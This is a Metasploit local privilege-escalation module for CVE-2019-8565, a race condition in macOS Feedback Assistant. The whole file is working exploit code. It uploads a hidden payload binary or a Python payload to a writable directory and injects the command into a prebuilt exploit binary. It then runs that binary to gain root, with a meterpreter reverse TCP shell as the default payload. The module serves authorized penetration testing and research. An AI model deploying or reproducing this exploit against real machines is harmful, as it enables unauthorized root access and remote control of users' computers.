##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mac OS X Feedback Assistant Race Condition',
        'Description' => %q{
          This module exploits a race condition vulnerability in Mac's Feedback Assistant.
          A successful attempt would result in remote code execution under the context of
          root.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'CodeColorist', # Discovery and exploit
          'timwr', # Metasploit module
        ],
        'References' => [
          ['CVE', '2019-8565'],
          ['URL', 'http://web.archive.org/web/20190423083938/https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],
          ['URL', 'https://support.apple.com/en-in/HT209600'],
          ['URL', 'https://github.com/ChiChou/sploits'],
        ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
        'Targets' => [
          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
        ],
        'DisclosureDate' => '2019-04-13',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def upload_executable_file(filepath, filedata)
    print_status("Uploading file: '#{filepath}'")
    write_file(filepath, filedata)
    chmod(filepath)
    register_file_for_cleanup(filepath)
  end

  def check
    version = get_system_version

    return CheckCode::Unknown('Could not retrieve OSX version') if version.blank?

    version = Rex::Version.new(version)

    if version >= Rex::Version.new('10.14.4')
      return CheckCode::Safe("OSX version #{version} is not vulnerable.")
    end

    CheckCode::Appears("OSX version #{version} appears vulnerable.")
  end

  def exploit
    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    case target['Arch']
    when ARCH_X64
      payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
      binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
      upload_executable_file(payload_file, binary_payload)
      root_cmd = payload_file
    when ARCH_PYTHON
      root_cmd = "echo \"#{payload.encoded}\" | python"
    else
      root_cmd = payload.encoded
    end
    root_cmd += " & \0"
    if root_cmd.length > 1024
      fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
    end

    exploit_data = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-8565', 'exploit'))
    placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
    exploit_data[placeholder_index, root_cmd.length] = root_cmd

    exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
    upload_executable_file(exploit_file, exploit_data)

    print_status("Executing exploit '#{exploit_file}'")
    result = cmd_exec(exploit_file)
    print_status("Exploit result:\n#{result}")
  end
end
